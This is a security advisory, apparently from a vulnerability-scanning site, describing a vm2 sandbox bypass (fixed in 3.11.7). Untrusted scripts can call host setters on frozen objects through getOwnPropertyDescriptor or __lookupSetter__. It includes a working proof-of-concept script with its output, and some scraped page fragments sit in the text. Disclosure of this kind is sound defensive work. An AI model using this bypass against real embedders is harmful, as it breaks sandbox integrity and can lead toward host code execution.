| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| vm2 | ≥ 3.9.6, < 3.11.7 | 3.11.7 |
Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via __lookupSetter__.
// poc.js
'use strict';
const { VM } = require('vm2');
let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
get() { return _level; },
set(v) { _level = String(v); },
enumerable: true, configurable: true,
});
const vm = new VM();
vm.freeze(hostConfig, 'cfg');
// Baseline - documented barriers hold:
vm.run(`cfg.level = 'via-set';`);
vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);
console.log('after [[Set]]/defineProperty:', _level); // → "safe"
// Bypass - sandbox mutates host via accessor descriptor:
vm.run(`
const d = Object.getOwnPropertyDescriptor(cfg, 'level');
d.set.call(cfg, 'PWNED');
`);
console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED"
// Variant - same sink via __lookupSetter__:
vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);
console.log('after __lookupSetter__:', _level); // → "PWNED-2"
node poc.js
Observed output:
after [[Set]]/defineProperty: safe
after getOwnPropertyDescriptor→set.call: PWNED
after __lookupSetter__: PWNED-2
The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side _level despite vm.freeze().
A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. , ), this becomes a stepping-stone to host code execution in that embedder.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíset scriptPath(v)set handler(fn)Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise.
Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined.
Persistence: as persistent as the host object (typically process-lifetime).